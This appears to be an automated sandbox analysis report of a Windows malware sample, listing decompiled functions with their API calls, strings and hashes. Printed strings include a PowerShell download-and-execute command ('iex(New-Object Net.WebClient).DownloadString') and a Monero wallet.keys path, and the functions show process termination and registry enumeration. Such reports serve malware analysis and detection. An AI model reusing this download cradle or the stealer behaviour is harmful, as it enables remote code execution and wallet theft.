Instruction ID: 2e89528bea993aaf85a614eaa54ee453f891b2d88424f15414b4c532f158e7bf
Opcode Fuzzy Hash: 290d968b46ccb8bf595a6338e3dcd813e1a98d551ca80cb615ad4e5f9cc2330a
Instruction Fuzzy Hash: E251A7B1944308ABEB20EB60DC4AFDA7778AF44700F044598F60DAB2C1EB75AB84DF55

Function 00CFF9E8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00CFFA1F
___except_validate_context_record.LIBVCRUNTIME ref: 00CFFA27
_ValidateLocalCookies.LIBCMT ref: 00CFFAB0
__IsNonwritableInCurrentImage.LIBCMT ref: 00CFFADB
_ValidateLocalCookies.LIBCMT ref: 00CFFB30

Strings

csm, xrefs: 00CFFAC5

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 73bc2f32c22e0088af07211562fb197d2e7e36a363a5a26788fe809058fe556b
Instruction ID: b4f1169887d70d7ad67b310bdaeeea29dbada9310d3406890c396f052dd0536a
Opcode Fuzzy Hash: 73bc2f32c22e0088af07211562fb197d2e7e36a363a5a26788fe809058fe556b
Instruction Fuzzy Hash: 3D41A63190011DEBCF50DF68C884BADBBB5FF45314F148169EA1CAB392D7319A06DBA2

Function 00C85000 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00C8501A
RtlAllocateHeap.NTDLL(00000000), ref: 00C85021
InternetOpenA.WININET(00CA0DE3,00000000,00000000,00000000,00000000), ref: 00C8503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00C85061
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00C85091
InternetCloseHandle.WININET(?), ref: 00C85109
InternetCloseHandle.WININET(?), ref: 00C85116

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: d61b4f0179fabe602ee5fb0f56898dbdc83efa349c4263e6e90409b2ab2b268f
Instruction ID: e7b82cf0b1d5d786b1e47d262f08220fd4556f8166fbf959da499da30ffae876
Opcode Fuzzy Hash: d61b4f0179fabe602ee5fb0f56898dbdc83efa349c4263e6e90409b2ab2b268f
Instruction Fuzzy Hash: 52311AB4A0421CABDB20DF54DC85BDDB7B4AB48305F1081D8F709A7280CBB06EC59F98

Function 00C9856C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00C985B6
wsprintfA.USER32 ref: 00C985E9
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00C9860B
RegCloseKey.ADVAPI32(00000000), ref: 00C9861C
RegCloseKey.ADVAPI32(00000000), ref: 00C98629

Part of subcall function 00C9AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00C9AAF6

RegQueryValueExA.ADVAPI32(00000000,0152DCB0,00000000,000F003F,?,00000400), ref: 00C9867C
lstrlen.KERNEL32(?), ref: 00C98691
RegQueryValueExA.ADVAPI32(00000000,0152DC20,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00CA0B3C), ref: 00C98729
RegCloseKey.ADVAPI32(00000000), ref: 00C98798
RegCloseKey.ADVAPI32(00000000), ref: 00C987AA

Strings

%s\%s, xrefs: 00C985DD

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: a5ce422c084053a119ca3730587760caffc603a1a106a54bea21dcc9b20b48cc
Instruction ID: b726afb7407c9b0cf5345d9e95c65b6cc125be6faf8b6e2f2eea53c926e67912
Opcode Fuzzy Hash: a5ce422c084053a119ca3730587760caffc603a1a106a54bea21dcc9b20b48cc
Instruction Fuzzy Hash: E521E471A1421CABDB24DB54DC89FE9B3B8FB48705F1081D8B609A6180DF71AA85DFE4

Function 00C999A0 Relevance: 10.6, APIs: 7, Instructions: 60processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00C999C5
Process32First.KERNEL32(00C8A056,00000128), ref: 00C999D9
Process32Next.KERNEL32(00C8A056,00000128), ref: 00C999F2
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00C99A4E
TerminateProcess.KERNEL32(00000000,00000000), ref: 00C99A6C
CloseHandle.KERNEL32(00000000), ref: 00C99A79
CloseHandle.KERNEL32(00C8A056), ref: 00C99A88

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: cbd953f318218af1c2f9aebc2040ce98f58aa1ddefe7ce8f80a6e472cae55aa4
Instruction ID: 4e7ce8247ba4a6ab1471c9513d767600e1f9097c2cf02e43241c4adf9fb65450
Opcode Fuzzy Hash: cbd953f318218af1c2f9aebc2040ce98f58aa1ddefe7ce8f80a6e472cae55aa4
Instruction Fuzzy Hash: DA21E971904318ABDF25EFA5DC89BDDB7B9FB48301F1041C8E609A6290DB749B84DF50

Function 00C97820 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C97834
RtlAllocateHeap.NTDLL(00000000), ref: 00C9783B
RegOpenKeyExA.ADVAPI32(80000002,0151B930,00000000,00020119,00000000), ref: 00C9786D
RegQueryValueExA.ADVAPI32(00000000,0152DD28,00000000,00000000,?,000000FF), ref: 00C9788E
RegCloseKey.ADVAPI32(00000000), ref: 00C97898

Strings

Windows 11, xrefs: 00C9784D

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: e026329a8958bdb15e814ce839d6e6f6d1811501d37d7ee3c5cc28d0cf4f99d2
Instruction ID: dc05fa2f67a9ba03ffdabdccabddb1042dceb1ae010f8ea596046e1f6edd78ae
Opcode Fuzzy Hash: e026329a8958bdb15e814ce839d6e6f6d1811501d37d7ee3c5cc28d0cf4f99d2
Instruction Fuzzy Hash: DC014F75A09309BBEB00EBE4ED4EF6E7778EB48701F104194FB15E7280EA709A00EB54

Function 00C978B0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C978C4
RtlAllocateHeap.NTDLL(00000000), ref: 00C978CB
RegOpenKeyExA.ADVAPI32(80000002,0151B930,00000000,00020119,00C97849), ref: 00C978EB
RegQueryValueExA.ADVAPI32(00C97849,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00C9790A
RegCloseKey.ADVAPI32(00C97849), ref: 00C97914

Strings

CurrentBuildNumber, xrefs: 00C97901

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 7b694c5c2ed4d3350def1d89f83a9ee86c37d6ab9f85f0248efea858a3210988
Instruction ID: 3f263af1912634ae4c3ac0053dd60ae559dd8c4161ad52b725d9766fa9070295
Opcode Fuzzy Hash: 7b694c5c2ed4d3350def1d89f83a9ee86c37d6ab9f85f0248efea858a3210988
Instruction Fuzzy Hash: 0501FFB5A44309BBEB00EBE4EC4AFAEB778EB44701F104595F715A7281DB706A00EB90

Function 00C8A110 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00C8A13C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00C8A161
LocalAlloc.KERNEL32(00000040,?), ref: 00C8A181
ReadFile.KERNEL32(000000FF,?,00000000,00C8148F,00000000), ref: 00C8A1AA
LocalFree.KERNEL32(00C8148F), ref: 00C8A1E0
CloseHandle.KERNEL32(000000FF), ref: 00C8A1EA

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: d93e754244591d0f70f5c6b63233bd51b3da1146b4d25684562fa56dff12c7a1
Instruction ID: 5c244a2cc4708872ddb4a4d89550982b8c9526bcec7cf45ae012e95193942f03
Opcode Fuzzy Hash: d93e754244591d0f70f5c6b63233bd51b3da1146b4d25684562fa56dff12c7a1
Instruction Fuzzy Hash: FD315C74A00308EFDB10EFA0D889BEE7BB5FF48305F108159E911A7290D774AA80CFA5

Function 00C949D0 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0152DE78), ref: 00C94A2B

Part of subcall function 00C98F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00C98F9B

lstrcat.KERNEL32(?,00000000), ref: 00C94A51
lstrcat.KERNEL32(?,?), ref: 00C94A70
lstrcat.KERNEL32(?,?), ref: 00C94A84
lstrcat.KERNEL32(?,0151B108), ref: 00C94A97
lstrcat.KERNEL32(?,?), ref: 00C94AAB
lstrcat.KERNEL32(?,0152D338), ref: 00C94ABF

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

Part of subcall function 00C98F20: GetFileAttributesA.KERNEL32(00000000,?,00C81B94,?,?,00CA577C,?,?,00CA0E22), ref: 00C98F2F

Part of subcall function 00C947C0: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00C947D0
Part of subcall function 00C947C0: RtlAllocateHeap.NTDLL(00000000), ref: 00C947D7
Part of subcall function 00C947C0: wsprintfA.USER32 ref: 00C947F6
Part of subcall function 00C947C0: FindFirstFileA.KERNEL32(?,?), ref: 00C9480D

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: f6f3ea503350cd24b1d7190b59d5c7c420e3faa3ea313e70c251fea9416cea91
Instruction ID: 916b5e4c4e2788f76cb0a672d8d9f766cc869a05559dc362b72ff796085ecae4
Opcode Fuzzy Hash: f6f3ea503350cd24b1d7190b59d5c7c420e3faa3ea313e70c251fea9416cea91
Instruction Fuzzy Hash: 1C316AB290030CABCF14FBA0DC8AEED733CAB59701F444589B31596091EE70A78D9F94

Function 00C92EE0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

Part of subcall function 00C9ACC0: lstrlen.KERNEL32(?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C9ACD5
Part of subcall function 00C9ACC0: lstrcpy.KERNEL32(00000000), ref: 00C9AD14
Part of subcall function 00C9ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00C9AD22

Part of subcall function 00C9AC30: lstrcpy.KERNEL32(00000000,?), ref: 00C9AC82
Part of subcall function 00C9AC30: lstrcat.KERNEL32(00000000), ref: 00C9AC92

Part of subcall function 00C9ABB0: lstrcpy.KERNEL32(?,00CA0E1A), ref: 00C9AC15

ShellExecuteEx.SHELL32(0000003C), ref: 00C92FD5

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00C92F14
<, xrefs: 00C92F89
')", xrefs: 00C92F03
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00C92F54

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 9449cc314bd6fd24e54e9aa5df6cc1def7c074890212f8bcb3b03a6842b61f69
Instruction ID: fbf3c4a3ddef678d90cb8d3ae1624afbf53d331784e24df5bed36d3b36f1dbe2
Opcode Fuzzy Hash: 9449cc314bd6fd24e54e9aa5df6cc1def7c074890212f8bcb3b03a6842b61f69
Instruction Fuzzy Hash: 5641F9719102089BDF14EBA0C8AAFEDBB79AF14300F404569E016AB192EF716A49DFD1

Function 00C94300 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0152D3B8,00000000,00020119,?), ref: 00C94344
RegQueryValueExA.ADVAPI32(?,0152DF80,00000000,00000000,00000000,000000FF), ref: 00C94368
RegCloseKey.ADVAPI32(?), ref: 00C94372
lstrcat.KERNEL32(?,00000000), ref: 00C94397
lstrcat.KERNEL32(?,0152DF08), ref: 00C943AB

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
